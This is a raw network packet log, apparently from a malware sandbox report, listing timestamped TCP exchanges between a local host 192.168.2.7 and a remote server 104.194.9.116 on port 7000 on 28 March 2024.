Mar 28, 2024 10:25:45.918478012 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918492079 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918505907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918518066 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918545008 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918548107 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918565989 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918574095 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918580055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918593884 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918627024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918633938 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918652058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918664932 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918690920 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918708086 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918720961 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918730974 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918735027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918771029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918783903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.918785095 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:45.918828964 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:45.989085913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023562908 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023600101 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023612976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023631096 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.023650885 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.023667097 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023700953 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023755074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023756981 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.023770094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023817062 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.023828983 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023844004 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023855925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023915052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023927927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023941040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023943901 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.023967981 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.023977041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023991108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.023993015 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024003029 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024019003 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024030924 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024068117 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024070024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024082899 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024095058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024137974 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024306059 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024319887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024333000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024367094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024367094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024389982 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024452925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024466038 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024506092 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024544001 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024570942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024584055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024638891 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024682045 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024688959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024739027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024816990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.024871111 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024930000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024944067 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.024976015 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.025008917 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.025022030 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.025034904 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.025047064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.025063038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.025089025 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.135842085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.135864973 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.135879040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.135926962 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.135958910 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136013031 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136025906 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136055946 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136118889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136140108 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136198997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136214972 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136260033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136284113 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136349916 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136393070 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136426926 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136464119 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136620045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136686087 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136739016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136789083 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136797905 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136852980 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136899948 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.136908054 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.136967897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.137007952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.137012959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.137046099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.137065887 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151426077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151479959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.151494026 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151510000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151550055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.151631117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151709080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151748896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.151752949 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.152023077 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152064085 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.152127028 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152208090 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152255058 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.152256966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152316093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152353048 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.152359962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152450085 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152487993 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.152512074 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152551889 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152591944 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.152672052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152736902 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152786970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.152827978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239389896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239454985 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239471912 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239487886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239512920 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239517927 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239532948 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239538908 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239554882 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239568949 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239577055 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239583969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239628077 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239634991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239650011 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239676952 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239689112 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239710093 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239715099 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239742994 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239756107 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239769936 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239795923 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239795923 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239809990 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239833117 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239845991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239875078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.239875078 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.239912033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.280924082 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.280952930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281012058 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281078100 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281152010 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281192064 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281196117 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281327009 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281375885 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281424046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281487942 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281541109 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281552076 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281598091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281636953 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281663895 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281699896 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281749964 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281759024 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281810999 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281871080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281900883 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.281969070 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.281984091 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.282016039 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.282020092 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.282061100 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.282068968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.332446098 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.349318027 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349344969 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349380016 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349428892 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.349442959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349490881 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349534035 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.349574089 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349626064 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.349636078 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349705935 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349750996 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.349816084 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349884987 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349940062 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.349980116 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.349997997 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350055933 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.350055933 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350119114 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350169897 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350173950 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.350188017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350230932 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.350255013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350315094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350377083 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350434065 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.350459099 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.350624084 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.390947104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.390984058 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391046047 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391086102 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391154051 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391160965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391160965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391168118 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391185045 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391211987 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391213894 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391237974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391252041 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391252041 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391284943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391290903 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391310930 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391355038 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391366959 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391381979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391402006 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391416073 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391438007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391441107 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391467094 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.391472101 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.391505003 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.433279991 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450680017 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450721979 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450737000 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450752974 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450767040 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450772047 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.450782061 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450798035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450813055 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450825930 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.450851917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.450855970 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450870037 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450884104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450898886 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450902939 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.450918913 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450927973 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.450947046 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450968027 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.450972080 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.450998068 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.451026917 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.451423883 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.451437950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.451451063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.451478958 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.451479912 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.451514959 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492018938 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492082119 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492095947 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492105007 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492110968 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492134094 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492151976 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492166996 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492181063 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492187977 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492234945 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492243052 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492285013 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492300034 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492326975 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492384911 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492424965 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492430925 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492487907 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492527962 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492573023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492583990 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492633104 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492675066 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.492697954 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492764950 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.492784023 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.535576105 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.570866108 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.570884943 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.570945978 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.570956945 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571110964 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571158886 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.571182966 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571269035 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571315050 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571365118 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.571374893 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571434021 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571444035 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.571541071 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571583033 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.571605921 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571671963 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571719885 CET	49713	7000	192.168.2.7	104.194.9.116
Mar 28, 2024 10:25:46.571732998 CET	7000	49713	104.194.9.116	192.168.2.7
Mar 28, 2024 10:25:46.571829081 CET	7000	49713	104.194.9.116	192.168.2.7
